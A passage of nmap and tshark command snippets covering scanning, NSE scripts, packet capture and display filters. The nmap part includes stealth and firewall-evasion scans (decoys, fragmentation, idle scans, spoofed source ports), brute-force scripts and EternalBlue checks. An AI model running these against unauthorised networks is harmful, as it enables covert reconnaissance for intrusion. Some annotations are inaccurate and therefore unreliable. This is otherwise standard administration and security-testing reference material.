nmap -sn -T4 -oA sweep 10.0.0.0/8

# Top 100 ports on large network
nmap -T4 --top-ports 100 --open -oA top100 10.0.0.0/16

# Distributed scanning (split network)
nmap -T4 10.0.0.0/17 -oA scan1 &
nmap -T4 10.0.128.0/17 -oA scan2 &

# Rate-limited scan to avoid overload
nmap --max-rate 100 10.0.0.0/16

# Parallel scanning with GNU parallel
seq 1 254 | parallel -j 10 nmap -T4 -F 192.168.1.{}

# Stealthy SYN scan with decoys
nmap -sS -T2 -f -D RND:10 192.168.1.1

# Extremely stealthy scan
nmap -sS -T0 -f --randomize-hosts --data-length 25 192.168.1.0/24

# Fragment packets with slow timing
nmap -sS -T1 -f --mtu 16 192.168.1.1

# Idle scan (most stealthy)
# First, find zombie host:
nmap --script=ipidseq 192.168.1.0/24
# Then use zombie:
nmap -sI zombie-host target-host

# Test firewall rules
nmap -sA 192.168.1.1

# Check which ports are filtered
nmap -sS -p- --reason 192.168.1.1 | grep filtered

# Test with different source ports
nmap -sS --source-port 53 192.168.1.1    # DNS
nmap -sS --source-port 20 192.168.1.1    # FTP data

# Fragment scan
nmap -sS -f 192.168.1.1

# Test with bad checksums
nmap --badsum 192.168.1.1

# Basic web server scan
nmap -sV -p 80,443 --script=http-title,http-headers 192.168.1.1

# Comprehensive web scan
nmap -sV -p 80,443,8080,8443 \
  --script=http-enum,http-headers,http-methods,http-robots.txt,http-title,http-vuln-* \
  192.168.1.1

# SSL/TLS analysis
nmap -sV -p 443 \
  --script=ssl-cert,ssl-enum-ciphers,ssl-heartbleed,ssl-known-key \
  192.168.1.1

# Web application fingerprinting
nmap -sV -p 80,443 \
  --script=http-wordpress-enum,http-drupal-enum,http-joomla-brute \
  192.168.1.1

# Basic SMB enumeration
nmap -sV -p 445 --script=smb-os-discovery 192.168.1.0/24

# Comprehensive SMB scan
nmap -sV -p 139,445 \
  --script=smb-os-discovery,smb-enum-shares,smb-enum-users,smb-security-mode \
  192.168.1.1

# Check for MS17-010 (EternalBlue)
nmap -sV -p 445 --script=smb-vuln-ms17-010 192.168.1.0/24

# All SMB vulnerabilities
nmap -sV -p 445 --script=smb-vuln-* 192.168.1.0/24

# Windows enumeration
nmap -sV -p 135,139,445,3389 \
  --script=smb-os-discovery,smb-security-mode,rdp-enum-encryption \
  192.168.1.0/24

# MySQL enumeration
nmap -sV -p 3306 \
  --script=mysql-info,mysql-databases,mysql-users,mysql-empty-password \
  192.168.1.0/24

# PostgreSQL enumeration
nmap -sV -p 5432 \
  --script=pgsql-brute 192.168.1.0/24

# MSSQL enumeration
nmap -sV -p 1433 \
  --script=ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password \
  192.168.1.0/24

# MongoDB enumeration
nmap -sV -p 27017 \
  --script=mongodb-info,mongodb-databases \
  192.168.1.0/24

# Redis enumeration
nmap -sV -p 6379 \
  --script=redis-info 192.168.1.0/24

# SMTP enumeration
nmap -sV -p 25,465,587 \
  --script=smtp-commands,smtp-enum-users,smtp-open-relay \
  192.168.1.1

# IMAP enumeration
nmap -sV -p 143,993 \
  --script=imap-capabilities 192.168.1.1

# POP3 enumeration
nmap -sV -p 110,995 \
  --script=pop3-capabilities 192.168.1.1

# Comprehensive mail server scan
nmap -sV -p 25,110,143,465,587,993,995 \
  --script=smtp-*,imap-*,pop3-* \
  192.168.1.1

# Common IoT ports
nmap -sS -p 23,80,443,1883,5683,8080,8883 192.168.1.0/24

# MQTT (IoT messaging)
nmap -sV -p 1883,8883 192.168.1.0/24

# CoAP (IoT protocol)
nmap -sU -p 5683 192.168.1.0/24

# UPnP discovery
nmap -sU -p 1900 --script=upnp-info 192.168.1.0/24

# Cameras and NVR
nmap -sV -p 554,8000,8080,8081 192.168.1.0/24

# SIP scanning
nmap -sU -p 5060 --script=sip-methods 192.168.1.0/24

# SIP enumeration
nmap -sU -p 5060,5061 \
  --script=sip-methods,sip-enum-users \
  192.168.1.0/24

# RTP ports
nmap -sU -p 10000-20000 192.168.1.1

# IPv6 ping scan
nmap -6 -sn fe80::1-ff

# IPv6 port scan
nmap -6 2001:db8::1

# IPv6 with version detection
nmap -6 -sV 2001:db8::1

# Local IPv6 discovery
nmap -6 -sn --script=targets-ipv6-multicast-* fe80::/64

# TCP SYN and UDP scan together
nmap -sS -sU -p T:1-1000,U:53,161 192.168.1.1

# Multiple discovery methods
nmap -PE -PS22,80,443 -PA80,443 -PU53,161 192.168.1.0/24

# Comprehensive scan with all techniques
nmap -sS -sU -sV -O -A --script=default,vuln -p- 192.168.1.1

# Custom flag combinations
nmap --scanflags SYNURG -p 80 192.168.1.1
nmap --scanflags SYNPSH -p 80 192.168.1.1

# Unusual flag combinations for firewall testing
nmap --scanflags URGPSHFIN -p 1-1000 192.168.1.1

# Optimize for fast reliable network
nmap -T4 --min-rate 100 --max-retries 2 192.168.1.0/24

# Optimize for slow unreliable network
nmap -T2 --max-retries 5 --host-timeout 30m 192.168.1.0/24

# Balance speed and accuracy
nmap -T3 --max-retries 3 --max-scan-delay 500ms 192.168.1.0/24

# Maximum speed (sacrifice accuracy)
nmap -T5 --min-rate 1000 --max-retries 1 --host-timeout 5m 192.168.1.0/24

# Multiple script categories
nmap --script "default or safe or discovery" 192.168.1.1

# Exclude intrusive scripts
nmap --script "default and not intrusive" 192.168.1.1

# Specific script pattern
nmap --script "http-* and not http-brute" 192.168.1.1

# Complex boolean logic
nmap --script "(http-* or ssh-*) and not (brute or dos)" 192.168.1.1

# Extract open ports from grepable output
grep "open" scan.gnmap | awk '{print $2, $3, $4}' > open-ports.txt

# Extract IPs with specific port open
grep "22/open" scan.gnmap | awk '{print $2}' > ssh-hosts.txt

# Count hosts by OS
grep "OS:" scan.nmap | sort | uniq -c

# Parse XML with grep
grep -oP '(?<=<port protocol="tcp" portid=")[^"]*' scan.xml

# Convert XML to CSV (with xsltproc)
xsltproc nmap-csv.xsl scan.xml > scan.csv

# First, find live hosts
nmap -sn 192.168.1.0/24 -oA discovery

# Then scan live hosts
nmap -iL live-hosts.txt -sV -oA detailed-scan

# Production networks: use T2 or T3
nmap -T2 192.168.1.0/24

# Lab networks: use T4
nmap -T4 192.168.1.0/24

# Always use -oA for important scans
nmap -sV -oA scan-$(date +%Y%m%d) 192.168.1.0/24

# Version detection provides valuable context
nmap -sV 192.168.1.1

# Stage 1: Discovery
nmap -sn 192.168.1.0/24 -oA stage1-discovery

# Stage 2: Port scan
nmap -iL live-hosts.txt -F -oA stage2-ports

# Stage 3: Detailed scan
nmap -iL interesting-hosts.txt -sV -A -oA stage3-detailed

# Start with safe scripts
nmap --script=safe 192.168.1.1

# Progress to specific categories
nmap --script=vuln 192.168.1.1

# TCP and UDP
nmap -sS -sU -p T:80,443,U:53,161 192.168.1.1

# Multiple discovery methods
nmap -PE -PS -PA -PU 192.168.1.0/24

# Verify open ports
nmap -sV -p 80 192.168.1.1

# Increase version detection intensity
nmap -sV --version-all -p 80 192.168.1.1

# Error: "You requested a scan type which requires root privileges"
# Solution: Use sudo
sudo nmap -sS 192.168.1.1

# Alternative: Use non-privileged scan
nmap -sT 192.168.1.1  # TCP connect scan

# Check Nmap capabilities (Linux)
getcap $(which nmap)

# Set capabilities (alternative to root)
sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip $(which nmap)

# Increase timeout
nmap --host-timeout 10m 192.168.1.1

# Skip host discovery (if firewall blocks pings)
nmap -Pn 192.168.1.1

# Increase retries
nmap --max-retries 5 192.168.1.1

# Use slower timing
nmap -T2 192.168.1.1

# Check network connectivity
ping 192.168.1.1
traceroute 192.168.1.1

# Use faster timing template
nmap -T4 192.168.1.0/24

# Scan fewer ports
nmap -F 192.168.1.0/24
nmap --top-ports 100 192.168.1.0/24

# Disable version detection
nmap -sS 192.168.1.0/24  # Without -sV

# Disable OS detection
nmap -sS 192.168.1.0/24  # Without -O

# Increase minimum rate
nmap --min-rate 100 192.168.1.0/24

# Reduce retries
nmap --max-retries 1 192.168.1.0/24

# Skip ping
nmap -Pn 192.168.1.1

# Try different scan types
nmap -sT 192.168.1.1  # Connect scan
nmap -sA 192.168.1.1  # ACK scan

# Use different source port
nmap --source-port 53 192.168.1.1
nmap --source-port 20 192.168.1.1

# Fragment packets
nmap -f 192.168.1.1

# Check what's being blocked
nmap --packet-trace -p 80 192.168.1.1

# Increase version detection intensity
nmap -sV --version-intensity 9 192.168.1.1

# Enable aggressive detection
nmap -A 192.168.1.1

# Disable ping (if causing issues)
nmap -Pn 192.168.1.1

# Use more probes
nmap --max-retries 5 192.168.1.1

# Verify with different scan types
nmap -sS -p 80 192.168.1.1
nmap -sT -p 80 192.168.1.1
nmap -sV -p 80 192.168.1.1

# Update script database
nmap --script-updatedb

# Debug script execution
nmap --script=http-title --script-trace 192.168.1.1

# Check script help
nmap --script-help http-title

# Verify script exists
ls /usr/share/nmap/scripts/http-title.nse

# Run with debug
nmap --script=http-title -d 192.168.1.1

# Disable DNS resolution
nmap -n 192.168.1.1

# Use custom DNS servers
nmap --dns-servers 8.8.8.8,8.8.4.4 192.168.1.1

# Force DNS resolution
nmap -R 192.168.1.1

# List interfaces
nmap --iflist

# Specify interface
nmap -e eth0 192.168.1.1

# Specify source IP
nmap -S 192.168.1.100 -e eth0 192.168.1.1

# Basic scan
nmap 192.168.1.1

# Scan subnet
nmap 192.168.1.0/24

# Ping scan (no port scan)
nmap -sn 192.168.1.0/24

# Fast scan
nmap -F 192.168.1.1

# Scan specific ports
nmap -p 22,80,443 192.168.1.1

# Scan all ports
nmap -p- 192.168.1.1

# Version detection
nmap -sV 192.168.1.1

# OS detection
nmap -O 192.168.1.1

# Aggressive scan
nmap -A 192.168.1.1

# Script scan
nmap -sC 192.168.1.1
nmap --script=vuln 192.168.1.1

# Skip host discovery
nmap -Pn 192.168.1.1

# Save output
nmap -oA scan 192.168.1.1

# Verbose
nmap -v 192.168.1.1

# Debian/Ubuntu
sudo apt update
sudo apt install tshark

# During installation, allow non-root users to capture packets
# Add your user to wireshark group
sudo usermod -a -G wireshark $USER
# Log out and back in for group changes to take effect

# RHEL/CentOS/Fedora
sudo yum install wireshark
# or
sudo dnf install wireshark

# macOS
brew install wireshark
# This installs both Wireshark GUI and tshark

# Or download from official site
# https://www.wireshark.org/download.html

# Verify installation
tshark --version

# Check available interfaces
tshark -D

# Test capture (requires permissions)
sudo tshark -i eth0 -c 10

# Linux: Grant capture permissions to non-root users

# Method 1: Add user to wireshark group (Debian/Ubuntu)
sudo dpkg-reconfigure wireshark-common  # Select "Yes"
sudo usermod -a -G wireshark $USER
newgrp wireshark  # Activate group in current session

# Method 2: Set capabilities on dumpcap
sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap

# Method 3: Use sudo (less secure)
sudo tshark -i eth0

# Verify permissions
tshark -D  # Should list interfaces without error

# macOS: Install ChmodBPF (happens during Wireshark installation)
# Check if ChmodBPF is loaded
sudo launchctl list | grep chmod

# Windows: Run as Administrator or install with packet capture privileges

# List all available interfaces
tshark -D

# Example output:
# 1. eth0
# 2. wlan0
# 3. any (Pseudo-device that captures on all interfaces)
# 4. lo (Loopback)

# List interfaces with details
tshark -D --list-interfaces

# List data link types for an interface
tshark -i eth0 -L

# List all interfaces (verbose)
tshark -D -v

# Capture on default interface
tshark

# Capture on specific interface
tshark -i eth0
tshark -i wlan0

# Capture on all interfaces
tshark -i any

# Capture N packets and stop
tshark -i eth0 -c 10      # Capture 10 packets
tshark -i eth0 -c 100     # Capture 100 packets

# Capture for specific duration
tshark -i eth0 -a duration:60     # Capture for 60 seconds
tshark -i eth0 -a duration:300    # Capture for 5 minutes

# Capture until file size reached
tshark -i eth0 -a filesize:10000  # Stop at ~10MB

# Capture to file
tshark -i eth0 -w capture.pcap
tshark -i eth0 -w capture.pcapng

# Capture to file with packet count limit
tshark -i eth0 -c 1000 -w capture.pcap

# Capture without displaying (quiet mode)
tshark -i eth0 -w capture.pcap -q

# Capture with snapshot length (truncate packets)
tshark -i eth0 -s 128         # Capture only first 128 bytes
tshark -i eth0 -s 0           # Capture full packets (default)

# Read from pcap file
tshark -r capture.pcap

# Read first N packets
tshark -r capture.pcap -c 10

# Read specific packet range
tshark -r capture.pcap -c 10   # First 10 packets

# Read and apply display filter
tshark -r capture.pcap -Y "http"
tshark -r capture.pcap -Y "tcp.port == 443"

# Read and get statistics
tshark -r capture.pcap -q -z io,phs

# Read from stdin
cat capture.pcap | tshark -r -

# Read from gzipped file
zcat capture.pcap.gz | tshark -r -

# Verbose output
tshark -i eth0 -V

# Print packet summary (one line per packet)
tshark -i eth0

# Print full packet details
tshark -i eth0 -V

# Print specific fields only
tshark -i eth0 -T fields -e ip.src -e ip.dst -e tcp.port

# Print packet hex dump
tshark -i eth0 -x

# Print packet hex and ASCII
tshark -i eth0 -x -V

# Quiet mode (no output, useful with -w)
tshark -i eth0 -w capture.pcap -q

# Capture traffic to/from specific host
tshark -i eth0 -f "host 192.168.1.1"

# Capture traffic FROM specific host
tshark -i eth0 -f "src host 192.168.1.1"

# Capture traffic TO specific host
tshark -i eth0 -f "dst host 192.168.1.1"

# Capture traffic to/from hostname
tshark -i eth0 -f "host www.example.com"

# Multiple hosts
tshark -i eth0 -f "host 192.168.1.1 or host 192.168.1.2"

# Exclude host
tshark -i eth0 -f "not host 192.168.1.1"

# Capture traffic from/to network
tshark -i eth0 -f "net 192.168.1.0/24"
tshark -i eth0 -f "net 10.0.0.0/8"

# Source network
tshark -i eth0 -f "src net 192.168.0.0/16"

# Destination network
tshark -i eth0 -f "dst net 10.0.0.0/8"

# Exclude network
tshark -i eth0 -f "not net 192.168.1.0/24"

# Capture specific port
tshark -i eth0 -f "port 80"
tshark -i eth0 -f "port 443"

# Source port
tshark -i eth0 -f "src port 80"

# Destination port
tshark -i eth0 -f "dst port 443"

# Port range
tshark -i eth0 -f "portrange 8000-9000"

# Multiple ports
tshark -i eth0 -f "port 80 or port 443"
tshark -i eth0 -f "port 80 or port 443 or port 8080"

# Exclude port
tshark -i eth0 -f "not port 22"

# TCP traffic only
tshark -i eth0 -f "tcp"

# UDP traffic only
tshark -i eth0 -f "udp"

# ICMP traffic only
tshark -i eth0 -f "icmp"

# ARP traffic
tshark -i eth0 -f "arp"

# IP traffic (IPv4)
tshark -i eth0 -f "ip"

# IPv6 traffic
tshark -i eth0 -f "ip6"

# Specific protocol with port
tshark -i eth0 -f "tcp port 80"
tshark -i eth0 -f "udp port 53"

# Multiple protocols
tshark -i eth0 -f "tcp or udp"
tshark -i eth0 -f "icmp or arp"

# TCP SYN packets
tshark -i eth0 -f "tcp[tcpflags] & tcp-syn != 0"

# TCP SYN-ACK packets
tshark -i eth0 -f "tcp[tcpflags] & (tcp-syn|tcp-ack) == (tcp-syn|tcp-ack)"

# TCP RST packets
tshark -i eth0 -f "tcp[tcpflags] & tcp-rst != 0"

# TCP FIN packets
tshark -i eth0 -f "tcp[tcpflags] & tcp-fin != 0"

# TCP PSH packets
tshark -i eth0 -f "tcp[tcpflags] & tcp-push != 0"

# TCP with no flags (NULL scan)
tshark -i eth0 -f "tcp[tcpflags] == 0"

# TCP with FIN, PSH, URG (Xmas scan)
tshark -i eth0 -f "tcp[tcpflags] & (tcp-fin|tcp-push|tcp-urg) != 0"

# Combine host and port
tshark -i eth0 -f "host 192.168.1.1 and port 80"

# Combine protocol and network
tshark -i eth0 -f "tcp and net 192.168.1.0/24"

# Multiple conditions with AND
tshark -i eth0 -f "host 192.168.1.1 and tcp and port 443"

# Multiple conditions with OR
tshark -i eth0 -f "host 192.168.1.1 or host 192.168.1.2"

# Complex boolean logic
tshark -i eth0 -f "(host 192.168.1.1 or host 192.168.1.2) and port 80"

# Exclude traffic
tshark -i eth0 -f "not host 192.168.1.1 and not port 22"

# HTTP and HTTPS traffic
tshark -i eth0 -f "tcp port 80 or tcp port 443"

# DNS traffic (TCP and UDP)
tshark -i eth0 -f "port 53"
tshark -i eth0 -f "tcp port 53 or udp port 53"

# Capture everything except SSH
tshark -i eth0 -f "not port 22"

# Specific host on specific ports
tshark -i eth0 -f "host 192.168.1.1 and (port 80 or port 443)"

# Non-local traffic only
tshark -i eth0 -f "not net 127.0.0.0/8"

# Capture by MAC address
tshark -i eth0 -f "ether host 00:11:22:33:44:55"

# Source MAC
tshark -i eth0 -f "ether src 00:11:22:33:44:55"

# Destination MAC
tshark -i eth0 -f "ether dst 00:11:22:33:44:55"

# Broadcast traffic
tshark -i eth0 -f "ether broadcast"

# Multicast traffic
tshark -i eth0 -f "ether multicast"

# Specific EtherType
tshark -i eth0 -f "ether proto 0x0800"  # IPv4
tshark -i eth0 -f "ether proto 0x0806"  # ARP
tshark -i eth0 -f "ether proto 0x86dd"  # IPv6

# Packets less than size
tshark -i eth0 -f "less 128"

# Packets greater than size
tshark -i eth0 -f "greater 1000"

# Packets of specific size
tshark -i eth0 -f "len == 64"

# Packets in size range (using boolean logic)
tshark -i eth0 -f "greater 100 and less 500"

# Large packets (potential performance issues)
tshark -i eth0 -f "greater 1500"

# Capture VLAN traffic
tshark -i eth0 -f "vlan"

# Specific VLAN ID
tshark -i eth0 -f "vlan 100"

# VLAN and protocol
tshark -i eth0 -f "vlan and tcp"

# VLAN with specific traffic
tshark -i eth0 -f "vlan 100 and host 192.168.1.1"

# General syntax: protocol.field operator value

# Equals
tshark -r capture.pcap -Y "ip.src == 192.168.1.1"

# Not equals
tshark -r capture.pcap -Y "ip.src != 192.168.1.1"

# Logical AND
tshark -r capture.pcap -Y "ip.src == 192.168.1.1 and tcp.port == 80"

# Logical OR
tshark -r capture.pcap -Y "tcp.port == 80 or tcp.port == 443"

# Logical NOT
tshark -r capture.pcap -Y "not icmp"
tshark -r capture.pcap -Y "!(tcp.port == 22)"

# Parentheses for grouping
tshark -r capture.pcap -Y "(ip.src == 192.168.1.1 or ip.src == 192.168.1.2) and tcp.port == 80"

# Source IP
tshark -Y "ip.src == 192.168.1.1"

# Destination IP
tshark -Y "ip.dst == 192.168.1.1"

# Source or destination IP (address)
tshark -Y "ip.addr == 192.168.1.1"

# IP subnet
tshark -Y "ip.src == 192.168.1.0/24"
tshark -Y "ip.addr == 10.0.0.0/8"

# Multiple IP addresses
tshark -Y "ip.src == 192.168.1.1 or ip.src == 192.168.1.2"

# IP address in set
tshark -Y "ip.addr in {192.168.1.1 192.168.1.2 192.168.1.3}"

# IPv4 only
tshark -Y "ip"

# IPv6 only
tshark -Y "ipv6"

# IP TTL
tshark -Y "ip.ttl < 10"
tshark -Y "ip.ttl == 64"

# IP fragmentation
tshark -Y "ip.flags.mf == 1"       # More fragments
tshark -Y "ip.frag_offset > 0"     # Fragmented packets

# TCP port (source or destination)
tshark -Y "tcp.port == 80"

# TCP source port
tshark -Y "tcp.srcport == 80"

# TCP destination port
tshark -Y "tcp.dstport == 443"

# TCP port range
tshark -Y "tcp.port >= 8000 and tcp.port <= 9000"

# TCP flags
tshark -Y "tcp.flags.syn == 1"              # SYN flag set
tshark -Y "tcp.flags.ack == 1"              # ACK flag set
tshark -Y "tcp.flags.fin == 1"              # FIN flag set
tshark -Y "tcp.flags.reset == 1"            # RST flag set
tshark -Y "tcp.flags.push == 1"             # PSH flag set
tshark -Y "tcp.flags.urg == 1"              # URG flag set

# SYN-ACK packets
tshark -Y "tcp.flags.syn == 1 and tcp.flags.ack == 1"

# TCP SYN only (connection initiation)
tshark -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0"

# TCP RST packets
tshark -Y "tcp.flags.reset == 1"

# TCP window size
tshark -Y "tcp.window_size < 1000"

# TCP sequence number
tshark -Y "tcp.seq == 1"

# TCP acknowledgment number
tshark -Y "tcp.ack == 1"

# TCP analysis flags
tshark -Y "tcp.analysis.retransmission"     # Retransmissions
tshark -Y "tcp.analysis.duplicate_ack"      # Duplicate ACKs
tshark -Y "tcp.analysis.lost_segment"       # Lost segments
tshark -Y "tcp.analysis.fast_retransmission" # Fast retransmissions
tshark -Y "tcp.analysis.zero_window"        # Zero window
tshark -Y "tcp.analysis.window_full"        # Window full
tshark -Y "tcp.analysis.out_of_order"       # Out of order packets

# TCP stream
tshark -Y "tcp.stream == 0"                 # First TCP stream
tshark -Y "tcp.stream == 5"                 # Sixth TCP stream

# UDP port
tshark -Y "udp.port == 53"

# UDP source port
tshark -Y "udp.srcport == 5353"

# UDP destination port
tshark -Y "udp.dstport == 161"

# UDP length
tshark -Y "udp.length < 100"
tshark -Y "udp.length > 1000"

# UDP stream
tshark -Y "udp.stream == 0"

# All HTTP traffic
tshark -Y "http"

# HTTP requests only
tshark -Y "http.request"

# HTTP responses only
tshark -Y "http.response"

# HTTP request methods
tshark -Y "http.request.method == GET"
tshark -Y "http.request.method == POST"
tshark -Y "http.request.method == PUT"
tshark -Y "http.request.method == DELETE"

# HTTP request URI
tshark -Y "http.request.uri contains \"/api/\""
tshark -Y "http.request.uri == \"/index.html\""

# HTTP host
tshark -Y "http.host == \"www.example.com\""
tshark -Y "http.host contains \"example\""

# HTTP user agent
tshark -Y "http.user_agent contains \"Mozilla\""
tshark -Y "http.user_agent contains \"curl\""

# HTTP response codes
tshark -Y "http.response.code == 200"
tshark -Y "http.response.code == 404"
tshark -Y "http.response.code == 500"
tshark -Y "http.response.code >= 400"        # Client/server errors

# HTTP response code categories
tshark -Y "http.response.code >= 200 and http.response.code < 300"  # Success
tshark -Y "http.response.code >= 300 and http.response.code < 400"  # Redirects
tshark -Y "http.response.code >= 400 and http.response.code < 500"  # Client errors
tshark -Y "http.response.code >= 500"                                # Server errors

# HTTP content type
tshark -Y "http.content_type contains \"application/json\""
tshark -Y "http.content_type contains \"text/html\""

# HTTP cookies
tshark -Y "http.cookie"
tshark -Y "http.set_cookie"

# HTTP authorization
tshark -Y "http.authorization"

# HTTP referer
tshark -Y "http.referer contains \"google\""

# HTTP with specific header
tshark -Y "http.header contains \"X-Custom-Header\""

# All DNS traffic
tshark -Y "dns"

# DNS queries only
tshark -Y "dns.flags.response == 0"

# DNS responses only
tshark -Y "dns.flags.response == 1"

# DNS query for specific name
tshark -Y "dns.qry.name == \"www.example.com\""
tshark -Y "dns.qry.name contains \"example\""

# DNS query type
tshark -Y "dns.qry.type == 1"              # A record
tshark -Y "dns.qry.type == 28"             # AAAA record
tshark -Y "dns.qry.type == 15"             # MX record
tshark -Y "dns.qry.type == 5"              # CNAME record
tshark -Y "dns.qry.type == 16"             # TXT record

# DNS response code
tshark -Y "dns.flags.rcode == 0"           # No error
tshark -Y "dns.flags.rcode == 3"           # NXDOMAIN (name error)

# DNS answer
tshark -Y "dns.a"                          # A record in answer
tshark -Y "dns.aaaa"                       # AAAA record in answer

# DNS with specific IP in answer
tshark -Y "dns.a == 192.168.1.1"

# DNS recursion desired
tshark -Y "dns.flags.recdesired == 1"

# All TLS traffic
tshark -Y "tls"
# (or "ssl" for older captures/versions)

# TLS handshake
tshark -Y "tls.handshake"

# TLS Client Hello
tshark -Y "tls.handshake.type == 1"

# TLS Server Hello
tshark -Y "tls.handshake.type == 2"

# TLS Certificate
tshark -Y "tls.handshake.type == 11"

# TLS handshake with specific SNI
tshark -Y "tls.handshake.extensions_server_name == \"www.example.com\""
tshark -Y "tls.handshake.extensions_server_name contains \"example\""

# TLS version
tshark -Y "tls.record.version == 0x0303"   # TLS 1.2
tshark -Y "tls.record.version == 0x0304"   # TLS 1.3

# TLS cipher suite
tshark -Y "tls.handshake.ciphersuite"

# TLS alert
tshark -Y "tls.alert_message"

# TLS application data
tshark -Y "tls.app_data"

# All ICMP traffic
tshark -Y "icmp"

# ICMP echo request (ping)
tshark -Y "icmp.type == 8"

# ICMP echo reply
tshark -Y "icmp.type == 0"

# ICMP destination unreachable
tshark -Y "icmp.type == 3"

# ICMP time exceeded
tshark -Y "icmp.type == 11"

# ICMPv6
tshark -Y "icmpv6"

# All ARP traffic
tshark -Y "arp"

# ARP request
tshark -Y "arp.opcode == 1"

# ARP reply
tshark -Y "arp.opcode == 2"

# ARP for specific IP
tshark -Y "arp.dst.proto_ipv4 == 192.168.1.1"
tshark -Y "arp.src.proto_ipv4 == 192.168.1.1"

# Gratuitous ARP
tshark -Y "arp.opcode == 1 and arp.src.proto_ipv4 == arp.dst.proto_ipv4"

# All DHCP traffic
tshark -Y "dhcp"

# DHCP Discover
tshark -Y "dhcp.option.dhcp == 1"

# DHCP Offer
tshark -Y "dhcp.option.dhcp == 2"

# DHCP Request
tshark -Y "dhcp.option.dhcp == 3"

# DHCP ACK
tshark -Y "dhcp.option.dhcp == 5"

# DHCP NAK
tshark -Y "dhcp.option.dhcp == 6"

# DHCP Release
tshark -Y "dhcp.option.dhcp == 7"

# All SMB traffic
tshark -Y "smb or smb2"

# SMB version 1
tshark -Y "smb"

# SMB version 2/3
tshark -Y "smb2"

# SMB commands
tshark -Y "smb2.cmd == 0"                  # Negotiate
tshark -Y "smb2.cmd == 1"                  # Session Setup
tshark -Y "smb2.cmd == 3"                  # Tree Connect
tshark -Y "smb2.cmd == 5"                  # Create
tshark -Y "smb2.cmd == 8"                  # Read
tshark -Y "smb2.cmd == 9"                  # Write

# SMB filename
tshark -Y "smb.file contains \"document\""
tshark -Y "smb2.filename contains \"document\""

# Contains string
tshark -Y "http.host contains \"example\""

# Matches regex (use matches operator)
tshark -Y "http.host matches \"^www\\..*\\.com$\""

# Case-insensitive contains
tshark -Y "http.host contains \"EXAMPLE\""  # Already case-insensitive

# String equals
tshark -Y "http.host == \"www.example.com\""

# String in set
tshark -Y "http.host in {\"example.com\" \"test.com\" \"demo.com\"}"

# Equals
tshark -Y "tcp.port == 80"

# Not equals
tshark -Y "tcp.port != 22"

# Greater than
tshark -Y "frame.len > 1000"

# Less than
tshark -Y "ip.ttl < 10"

# Greater than or equal
tshark -Y "tcp.port >= 8000"

# Less than or equal
tshark -Y "tcp.port <= 9000"

# In range
tshark -Y "tcp.port >= 8000 and tcp.port <= 9000"

# Frame time
tshark -Y "frame.time >= \"2024-01-01 00:00:00\""
tshark -Y "frame.time <= \"2024-12-31 23:59:59\""

# Time range
tshark -Y "frame.time >= \"2024-01-01 00:00:00\" and frame.time <= \"2024-01-01 23:59:59\""

# Frame time relative
tshark -Y "frame.time_relative > 10"        # More than 10 seconds into capture

# Frame time delta
tshark -Y "frame.time_delta > 1"            # More than 1 second since previous packet

# Frame length
tshark -Y "frame.len > 1000"
tshark -Y "frame.len < 100"
tshark -Y "frame.len == 54"

# Frame length range
tshark -Y "frame.len >= 100 and frame.len <= 500"

# IP length
tshark -Y "ip.len > 1400"

# Warnings
tshark -Y "expert.severity == warning"

# Errors
tshark -Y "expert.severity == error"

# Notes
tshark -Y "expert.severity == note"

# All expert info
tshark -Y "expert"

# TCP expert info
tshark -Y "tcp.analysis.flags"

# HTTP POST requests to specific host
tshark -Y "http.request.method == POST and http.host == \"api.example.com\""

# Failed HTTP requests
tshark -Y "http.response.code >= 400"

# Large HTTP responses
tshark -Y "http.response and frame.len > 10000"

# DNS queries without responses (potential issues)
tshark -Y "dns.flags.response == 0 and not dns.flags.response == 1"

# TCP retransmissions to specific IP
tshark -Y "tcp.analysis.retransmission and ip.dst == 192.168.1.1"

# TLS connections to specific domains
tshark -Y "tls.handshake.type == 1 and tls.handshake.extensions_server_name contains \"example\""

# Non-standard HTTP ports
tshark -Y "http and tcp.port != 80 and tcp.port != 443"

# Broadcast and multicast traffic
tshark -Y "eth.dst.ig == 1"  # Broadcast/multicast bit set

# IPv6 traffic on specific subnet
tshark -Y "ipv6.src == 2001:db8::/32"

# Suspicious DNS (queries to multiple IPs)
tshark -Y "dns.flags.response == 1 and dns.count.answers > 5"

# Default text output (one line per packet summary)
tshark -r capture.pcap

# Verbose/detailed output (full packet dissection)
tshark -r capture.pcap -V

# PDML (Packet Details Markup Language - XML)
tshark -r capture.pcap -T pdml

# PSML (Packet Summary Markup Language - XML)
tshark -r capture.pcap -T psml

# JSON output
tshark -r capture.pcap -T json

# JSON with raw hex
tshark -r capture.pcap -T jsonraw

# EK (Elasticsearch-friendly JSON)
tshark -r capture.pcap -T ek

# Fields (custom column output)
tshark -r capture.pcap -T fields -e frame.number -e ip.src -e ip.dst

# PS (PostScript - for printing)
tshark -r capture.pcap -T ps

# Text output with specific columns
tshark -r capture.pcap -T text

# Extract specific fields
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.port

# Multiple fields with delimiter
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -E separator=,

# Custom field separator (CSV format)
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -e tcp.port -E separator=, -E quote=d

# Include header row
tshark -r capture.pcap -T fields -e ip.src -e ip.dst -E header=y

# Aggregate fields (only unique values)
tshark -r capture.pcap -T fields -e ip.src -e ip.dst | sort | uniq

# Extract HTTP fields
tshark -r capture.pcap -Y "http.request" -T fields \
  -e frame.time -e ip.src -e http.request.method -e http.host -e http.request.uri

# Extract DNS queries
tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields \
  -e frame.time -e ip.src -e dns.qry.name -e dns.qry.type

# Extract TLS SNI
tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields \
  -e frame.time -e ip.src -e ip.dst -e tls.handshake.extensions_server_name

# Extract specific TCP fields
tshark -r capture.pcap -Y "tcp" -T fields \
  -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e tcp.flags

# JSON output (pretty-printed)
tshark -r capture.pcap -T json | jq '.'

# JSON with specific packets
tshark -r capture.pcap -c 10 -T json

# JSON with display filter
tshark -r capture.pcap -Y "http" -T json

# Extract specific JSON fields
tshark -r capture.pcap -T json | jq '.[] | .layers.ip."ip.src"'

# JSON output to file
tshark -r capture.pcap -T json > output.json

# EK format for Elasticsearch
tshark -r capture.pcap -T ek

# EK with bulk format for Elasticsearch ingestion
